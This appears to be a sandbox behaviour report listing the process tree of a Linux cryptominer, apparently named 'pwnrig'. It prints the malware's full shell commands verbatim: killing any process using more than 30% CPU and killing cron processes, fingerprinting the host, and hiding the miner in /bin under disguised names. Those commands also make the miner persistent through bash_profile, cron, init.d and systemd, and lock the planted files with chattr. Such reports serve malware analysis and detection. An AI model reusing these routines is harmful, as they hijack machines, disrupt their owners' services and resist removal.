/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:4277
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵PID:4276
-
-
/usr/bin/idid -u4⤵PID:4279
-
-
/usr/bin/grepgrep -v grep4⤵PID:4282
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:4281
-
-
/usr/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
PID:4280
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:4284
-
/usr/bin/idid -u4⤵PID:4285
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:4290
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd4⤵PID:4289
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:4288
-
-
/usr/bin/grepgrep -v grep4⤵PID:4287
-
-
/usr/bin/psps aux4⤵
- Reads CPU attributes
- Reads runtime system information
PID:4286
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵PID:4292
-
/usr/bin/idid -u4⤵PID:4293
-
-
-
-
/usr/bin/nohupnohup ./klibsystem51⤵PID:1691
-
/usr/bin/klibsystem5./klibsystem51⤵PID:1691
-
/usr/bin/hostnamehostname -I1⤵PID:1840
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1842
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:1847
-
/usr/bin/headhead -n 11⤵PID:1846
-
/usr/bin/grepgrep "Port "1⤵PID:1845
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:1844
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:1856
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:1855
-
/usr/bin/cutcut -d: -f21⤵PID:1854
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:1853
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1859
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1862
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1865
-
/usr/bin/hostnamehostname -I1⤵PID:2157
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2159
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2164
-
/usr/bin/headhead -n 11⤵PID:2163
-
/usr/bin/grepgrep "Port "1⤵PID:2162
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2161
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2173
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2172
-
/usr/bin/cutcut -d: -f21⤵PID:2171
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2170
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2176
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2179
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2182
-
/usr/bin/wcwc -l1⤵PID:2207
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:2206
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:2205
-
/usr/bin/grepgrep -v grep1⤵PID:2204
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:2203
-
/usr/bin/crontabcrontab -r1⤵PID:2339
-
/usr/bin/pkillpkill -f .klibsystem51⤵PID:2340
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads runtime system information
PID:2341
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:2342
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:2344
-
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:2345
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
PID:2346 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:2347 -
/usr/bin/whoamiwhoami3⤵PID:2358
-
-
/usr/bin/hostnamehostname3⤵PID:2359
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:2360
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2376
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2378
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads runtime system information
PID:2377
-
-
/usr/bin/idid -u3⤵PID:2380
-
-
/usr/bin/grepgrep -v grep3⤵PID:2383
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2382
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:2381
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:2385 -
/usr/bin/idid -u3⤵PID:2386
-
-
/usr/bin/idid -u3⤵PID:2387
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:2388
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:2389
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:2390
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:2391
-
-
/usr/bin/idid -u3⤵PID:2392
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:2393
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:2394
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2395
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:2396
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:2397
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2399
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2400
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2401
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵
- Attempts to change immutable files
PID:2402
-
-
/usr/bin/whichwhich chkconfig3⤵PID:2403
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:2459
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2460
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2460
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2460
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:2460
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:2486
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:2487
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:2489
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:2490
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:2491
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:2492
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2493
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2493
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2493
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵PID:2493
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:2519
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2520
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2520
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2520
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵
- Reads EFI boot settings
PID:2520
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2521
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2521
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2521
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2521
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵PID:2547
-
-
/usr/bin/whichwhich systemctl3⤵PID:2548
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:2549
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:2550
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:2551
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:2553
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Attempts to change immutable files
PID:2554
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:2555
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:2556
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵
- Reads EFI boot settings
PID:2582
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵
- Reads EFI boot settings
PID:2608
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵
- Reads EFI boot settings
PID:2634
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:2350
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2352
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2357
-
/usr/bin/headhead -n 11⤵PID:2356
-
/usr/bin/grepgrep "Port "1⤵PID:2355
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2354
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2366
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2365
-
/usr/bin/cutcut -d: -f21⤵PID:2364
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2363
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2369
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2372
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2375
-
/usr/local/sbin/systemctlsystemctl daemon-reload1⤵PID:2433
-
/usr/local/bin/systemctlsystemctl daemon-reload1⤵PID:2433
-
/usr/sbin/systemctlsystemctl daemon-reload1⤵PID:2433
-
/usr/bin/systemctlsystemctl daemon-reload1⤵
- Reads EFI boot settings
PID:2433
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2691 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:2715 -
/usr/bin/whoamiwhoami3⤵PID:2726
-
-
/usr/bin/hostnamehostname3⤵PID:2727
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵PID:2728
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2744
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2746
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:2745
-
-
/usr/bin/idid -u3⤵PID:2748
-
-
/usr/bin/grepgrep -v grep3⤵PID:2751
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2750
-
-
/usr/bin/psps x3⤵
- Reads runtime system information
PID:2749
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2753
-
/usr/bin/idid -u3⤵PID:2754
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:2759
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:2758
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:2757
-
-
/usr/bin/grepgrep -v grep3⤵PID:2756
-
-
/usr/bin/psps aux3⤵PID:2755
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:2761
-
/usr/bin/idid -u3⤵PID:2762
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:2718
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2720
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2725
-
/usr/bin/headhead -n 11⤵PID:2724
-
/usr/bin/grepgrep "Port "1⤵PID:2723
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2722
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2734
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2733
-
/usr/bin/cutcut -d: -f21⤵PID:2732
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵PID:2731
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2737
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2740
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2743
-
/usr/bin/wcwc -l1⤵PID:2768
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:2767
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:2766
-
/usr/bin/grepgrep -v grep1⤵PID:2765
-
/usr/bin/psps aux1⤵
- Reads runtime system information
PID:2764
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:2838
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2840
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2845
-
/usr/bin/headhead -n 11⤵PID:2844
-
/usr/bin/grepgrep "Port "1⤵PID:2843
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2842
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2854
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2853
-
/usr/bin/cutcut -d: -f21⤵PID:2852
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2851
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2857
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2860
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2863
-
/usr/local/sbin/systemctlsystemctl daemon-reload1⤵PID:2921
-
/usr/local/bin/systemctlsystemctl daemon-reload1⤵PID:2921
-
/usr/sbin/systemctlsystemctl daemon-reload1⤵PID:2921
-
/usr/bin/systemctlsystemctl daemon-reload1⤵
- Reads EFI boot settings
PID:2921
-
